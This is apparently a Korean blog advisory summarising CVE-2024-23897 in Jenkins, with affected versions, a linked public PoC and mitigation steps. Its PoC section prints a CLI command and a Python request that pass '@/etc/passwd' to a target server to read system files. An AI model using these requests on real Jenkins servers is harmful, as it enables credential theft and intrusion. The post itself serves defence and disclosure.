hhkb.dev

BLOG

2025-12-03

CVE_CVE-2024-23897 약식 보고서

1. 3줄 요약

  • 2024년 1월 24일, Jenkins 보안 공지에서 CVE-2024-23897가 발표됐다.
  • 이 취약점은 Jenkins 내장 CLI 파서가 @파일경로 형식 인자를 파일 내용으로 자동 확장(expandAtFiles)하는 구조적 결함 때문에 발생한다.
  • 인증 없는 공격자도 서버 내부 임의 파일을 읽을 수 있고, 권한이 더 있으면 비밀 파일, 키, 설정 탈취를 거쳐 원격 코드 실행(RCE)까지 이어질 수 있다.

2. 대상

영향 대상은 Jenkins다.

3. 취약 버전

영향 버전은 아래와 같다.

  • Jenkins 2.441 이하
  • Jenkins LTS 2.426.2 이하

4. PoC 코드 정보

공개된 PoC는 아래 저장소에서 확인할 수 있다.

  1. GitHub - xaitax/CVE-2024-23897

4.1. 익스플로잇 방식 요약

핵심은 CLI에 @/etc/passwd 같은 파일 경로를 인자로 넘겨, 서버가 그 내용을 읽게 만드는 구조다.

CLI 예시는 아래와 같다.

java -jar jenkins-cli.jar -s http://TARGET/ -auth user:pass build JOB_NAME @/etc/passwd

이 경우 서버가 /etc/passwd 내용을 반환하면 arbitrary file read가 성립한다.

HTTP 요청 기반 예시는 아래처럼 볼 수 있다.

import requests

url = "http://TARGET/cli?remoting=false"
data = {"json": "{\"\": \"@/etc/passwd\"}"}
r = requests.post(url, data=data)
print(r.text)

이 방식도 응답에 /etc/passwd 내용 일부나 전체가 출력되면 성공으로 본다.

PoC가 성립하려면 아래 조건이 필요하다.

  • Jenkins 버전이 2.441 이하이거나, LTS 2.426.2 이하여야 한다.
  • CLI 기능이 활성화돼 있어야 한다.
  • 외부에서 CLI 접근이 허용돼 있어야 한다.

실무 위험은 아래처럼 본다.

  • 민감 정보 탈취
  • 권한 상승
  • RCE 가능성

5. 대응 방안

우선순위는 아래 순서로 잡는 편이 안전하다.

  1. Jenkins 2.442 또는 LTS 2.426.3 이상으로 즉시 업데이트한다.
  2. 공식 제공 disable-cli.groovy 스크립트로 CLI를 비활성화하고, WebSocket 접근 차단 쪽 프록시 설정도 강화한다.
  3. Jenkins를 공개망에 직접 노출하지 않고, 내부망이나 VPN 뒤에 배치한다. 외부에서 CLI나 Jenkins 웹 UI에 직접 접근하지 못하도록 방화벽과 ACL을 적용한다.
  4. CLI 엔드포인트 접근 로그를 모니터링하고, @가 포함된 비정상 파라미터를 탐지할 수 있게 로그 분석 체계를 갖춘다.